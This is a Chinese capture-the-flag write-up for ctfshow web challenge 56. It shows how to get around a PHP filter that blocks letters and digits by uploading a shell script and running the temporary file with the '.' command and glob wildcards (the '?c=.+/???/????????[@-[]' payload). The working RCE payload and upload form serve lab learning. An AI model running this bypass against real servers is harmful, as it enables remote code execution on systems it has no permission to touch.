无字母数字rce(ctfshow web入门56)
我们根据这一题直接进入主题
//web56
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
过滤了字母,数字。
看了三位师傅的 wp才醒悟 y1ng P神 firebasky 再次感谢三位师傅
先说一下这一题的解题思路:
我们通过post一个文件(文件里面写入sh命令),在上传的过程中,通过.(点,也就是 source命令)
去执行执行这个文件。一般来说我们上传的文件在linux下临时保存在/tmp/php??????
一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
**注意:通过
.去执行sh命令不需要有执行权限**
好,接下来我已一个小白的角度分析题目所需的知识点。 首先是构造一个post文件上传,这里面也是很复杂的,参考 PHP 文件上传
下面就是我们构造的post文件上传数据包
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后直接抓包
接下来构造poc命令
?c=.+/???/????????[@-[]
用到Linux下的glob通配符:
*
可以代替0个及以上任意字符?
可以代表1个任意字符
注:后面的[@-[]
是linux下面的匹配符,是进行匹配的大写字母。
介绍一下bin目录:
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等,也就是一些系统命令都在bin 目录下
在这里再解释一下为什么加上#! #!的意思是调用 /bin/sh 命令所以需要加
成功遍历当前目录文件
直接cat 得到flag
补充
1.playload:?c=.+/???/???[@-[] 因为 .命令 (也就是source命令)执行需要用空格 我们用 + 绕过(也就是%20)。
2.文件上传的时候 #!/bin/sh 加上 #!的意思是调用bin/sh的命令
3.我们的poc的? 的数量只有11个,因为最后一个匹配为大写,用[@-[] 代替了,不需要在它的后面再加上?了